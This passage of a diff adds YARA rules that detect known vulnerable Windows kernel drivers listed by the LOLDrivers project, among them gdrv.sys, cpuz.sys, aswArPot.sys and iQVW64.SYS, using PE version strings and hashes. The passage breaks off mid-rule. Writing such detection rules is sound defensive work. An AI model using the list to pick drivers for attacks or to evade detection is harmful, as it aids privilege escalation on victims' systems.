+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200049004f006200690074002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright IObitAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Phoenixtechnologiesltd_Phlashnt_Winphlash_65DB {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PhlashNT.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "65db1b259e305a52042e07e111f4fa4af16542c8bacd33655f753ef642228890"
+		date = "2023-06-14"
+		score = 40
+		id = "7c0b1c20-b3ef-56e9-b2e2-e2542c7a85e3"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300570069006e0046006c006100730068002000440072006900760065007200200066006f0072002000570069006e0064006f007700730020004e0054 } /* FileDescription SWinFlashDriverforWindowsNT */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073002c0020004c00740064002e } /* CompanyName PhoenixTechnologiesLtd */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e0031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e0031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500048004c004100530048004e0054 } /* InternalName PHLASHNT */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00500068006c006100730068 } /* ProductName WinPhlash */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500048004c004100530048004e0054002e005300590053 } /* OriginalFilename PHLASHNTSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800630029002000500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073002c0020004c00740064002e00200032003000300030002d0032003000300033 } /* LegalCopyright cPhoenixTechnologiesLtd */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Arthurliberman_Alsysiosys_Alsysio_7196 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7196187fb1ef8d108b380d37b2af8efdeb3ca1f6eefd37b5dc114c609147216d"
+		date = "2023-06-14"
+		score = 40
+		id = "3b631d10-d727-53f8-8f56-87695e305198"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f } /* FileDescription ALSysIO */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e } /* CompanyName ArthurLiberman */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 } /* InternalName ALSysIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f } /* ProductName ALSysIO */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 } /* OriginalFilename ALSysIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300030003900200041007200740068007500720020004c0069006200650072006d0061006e } /* LegalCopyright CopyrightCArthurLiberman */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_133E {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "133e542842656197c5d22429bd56d57aa33c9522897fdf29853a6d321033c743"
+		date = "2023-06-14"
+		score = 40
+		id = "f1f06952-1500-57af-8486-eb127a90b110"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 } /* FileDescription GIGABYTENonPnPDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e } /* CompanyName GIGABYTETECHNOLOGYCOLTD */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 } /* ProductName GIGABYTESoftwaredriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_0D37 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0d3790af5f8e5c945410929e31d06144a471ac82f828afe89a4758a5bbeb7f9f"
+		hash = "523d1d43e896077f32cd9acaa8e85b513bfb7b013a625e56f0d4e9675d9822ba"
+		hash = "df0dcfb3971829af79629efd036b8e1c6e2127481b3644ccc6e2ddd387489a15"
+		hash = "9a523854fe84f15efc1635d7f5d3e71812c45d6a4d2c99c29fdc4b4d9c84954c"
+		hash = "8c95d28270a4a314299cf50f05dcbe63033b2a555195d2ad2f678e09e00393e6"
+		hash = "1ee59eb28688e73d10838c66e0d8e011c8df45b6b43a4ac5d0b75795ca3eb512"
+		hash = "5b3705b47dc15f2b61ca3821b883b9cd114d83fcc3344d11eb1d3df495d75abe"
+		hash = "67734c7c0130dd66c964f76965f09a2290da4b14c94412c0056046e700654bdc"
+		hash = "80eeb8c2890f3535ed14f5881baf2f2226e6763be099d09fb8aadaba5b4474c1"
+		hash = "19696fb0db3fcae22f705ae1eb1e9f1151c823f3ff5d8857e90f2a4a6fdc5758"
+		hash = "e58bbf3251906ff722aa63415bf169618e78be85cb92c8263d3715c260491e90"
+		hash = "11d258e05b850dcc9ecfacccc9486e54bd928aaa3d5e9942696c323fdbd3481b"
+		date = "2023-06-14"
+		score = 40
+		id = "46f31bf7-9e9f-5fe2-95cc-1b0be823c41b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 } /* CompanyName CPUID */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 } /* ProductName CPUIDservice */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310030002000430050005500490044 } /* LegalCopyright CopyrightCCPUID */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Asustek_Driversys_Ectool_927C {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - driver7-x86-withoutdbg.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "927c2a580d51a598177fa54c65e9d2610f5f212f1b6cb2fbf2740b64368f010a"
+		hash = "42851a01469ba97cdc38939b10cf9ea13237aa1f6c37b1ac84904c5a12a81fa0"
+		hash = "771a8d05f1af6214e0ef0886662be500ee910ab99f0154227067fddcfe08a3dd"
+		date = "2023-06-14"
+		score = 40
+		id = "4513216a-2654-5743-8550-01e82743f67a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400680065002000640072006900760065007200200066006f007200200074006800650020004500430074006f006f006c0020006400720069007600650072002d0062006100730065006400200074006f006f006c0073 } /* FileDescription ThedriverfortheECtooldriverbasedtools */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300740065006b } /* CompanyName ASUStek */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0044007200690076006500720037002e007300790073 } /* InternalName Driversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0045004300200074006f006f006c } /* ProductName ECtool */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0044007200690076006500720037 } /* OriginalFilename Driver */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020 } /* LegalCopyright Copyright */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_CF4B {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "cf4b5fa853ce809f1924df3a3ae3c4e191878c4ea5248d8785dc7e51807a512b"
+		date = "2023-06-14"
+		score = 40
+		id = "61555f9e-6caf-5c8c-b4ee-01046e04f744"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d005300490043006c006f0063006b005f00430043 } /* FileDescription NTIOLibforMSIClockCC */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_D783 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "d783ace822f8fe4e25d5387e5dd249cb72e62f62079023216dc436f1853a150f"
+		date = "2023-06-14"
+		score = 40
+		id = "12d08eab-49f0-5d40-bd2d-1a4834deaef1"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000330033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_4B52 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1"
+		date = "2023-06-14"
+		score = 40
+		id = "06a605d6-893e-5ee7-a3d7-bfb128363b81"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AvastAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320031002e0031002e003100380037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320031002e0031002e003100380037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003100200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Biostargroup_Iodriver_Biostariodriverfle_42E1 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_I2cIo.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "42e170a7ab1d2c160d60abfc906872f9cfd0c2ee169ed76f6acb3f83b3eeefdb"
+		hash = "f929bead59e9424ab90427b379dcdd63fbfe0c4fb5e1792e3a1685541cd5ec65"
+		hash = "55fee54c0d0d873724864dc0b2a10b38b7f40300ee9cae4d9baaf8a202c4049a"
+		date = "2023-06-14"
+		score = 40
+		id = "eb5f5339-f11a-5502-8feb-4bfbd4698a31"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 } /* FileDescription IOInterfacedriverfile */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 } /* CompanyName BIOSTARGroup */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200031002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200031002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 } /* InternalName IOdriver */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f002000640072006900760065007200200066006c0065 } /* ProductName BIOSTARIOdriverfle */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f0049003200630049006f002e007300790073 } /* OriginalFilename BSIcIosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000300032002d0032003000300036002000420049004f0053005400410052002000470072006f00750070 } /* LegalCopyright CopyrightcBIOSTARGroup */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Mitactechnologycorporation_Mtcbsvsys_Mitacsystemserviceprovider_C9CF {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mtcBSv64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c9cf1d627078f63a36bbde364cd0d5f2be1714124d186c06db5bcdf549a109f8"
+		date = "2023-06-14"
+		score = 40
+		id = "36fcbeca-f19e-54b8-9687-121bd9809e9d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0069005400410043002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 } /* FileDescription MiTACSystemServiceProvider */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900540041004300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e } /* CompanyName MiTACTechnologyCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320031002c00200031002c00200034002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320031002c00200031002c00200034002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0074006300420053007600360034002e007300790073 } /* InternalName mtcBSvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d0069005400410043002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 } /* ProductName MiTACSystemServiceProvider */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0074006300420053007600360034002e007300790073 } /* OriginalFilename mtcBSvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004d006900540041004300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e } /* LegalCopyright CopyrightCMiTACTechnologyCorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_5F65 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5f6547e9823f94c5b94af1fb69a967c4902f72b6e0c783804835e6ce27f887b0"
+		date = "2023-06-14"
+		score = 40
+		id = "7b5d5036-d7ec-5722-a18c-9ccaeea8088e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100330020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003700200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_58A7 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viraglt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495"
+		date = "2023-06-14"
+		score = 40
+		id = "5ea684cc-982c-5056-9e80-26fe74cb3a64"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c002000310031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c002000310031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100360020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Panmonfltxsys_Pancafemanager_0650 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanMonFltX64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "06508aacb4ed0a1398a2b0da5fa2dbf7da435b56da76fd83c759a50a51c75caf"
+		date = "2023-06-14"
+		score = 40
+		id = "bc354ed5-befe-5421-9dbe-a5faef0cfa4a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500061006e00430061006600650020004d0061006e0061006700650072002000460069006c00650020004d006f006e00690074006f0072 } /* FileDescription PanCafeManagerFileMonitor */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* CompanyName PanYazilimBilisimTeknolojileriTicLtdSti */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e004d006f006e0046006c0074005800360034002e007300790073 } /* InternalName PanMonFltXsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e00430061006600650020004d0061006e0061006700650072 } /* ProductName PanCafeManager */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e004d006f006e0046006c0074005800360034002e007300790073 } /* OriginalFilename PanMonFltXsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0131006c0131006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* LegalCopyright CopyrightcPanYazlmBilisimTeknolojileriTicLtdSti */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_0F17 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0f17e5cfc5bdd74aff91bfb1a836071345ba2b5d1b47b0d5bf8e7e0d4d5e2dbf"
+		date = "2023-06-14"
+		score = 40
+		id = "a54ff7bf-30a8-5cfc-aaca-a172bee2062b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200320034002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200320034002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Novellinc_Novellxtier_6C71 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ncpl.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6c7120e40fc850e4715058b233f5ad4527d1084a909114fd6a36b7b7573c4a44"
+		hash = "3a65d14fd3b1b5981084cdbd293dc6f4558911ea18dd80177d1e5b54d85bcaa0"
+		date = "2023-06-14"
+		score = 40
+		id = "730567f0-ae1e-5d8d-a9e6-df176faf4878"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 } /* FileDescription NovellClientPortabilityLayer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e } /* CompanyName NovellInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 } /* ProductName NovellXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 } /* OriginalFilename NICMSYS */
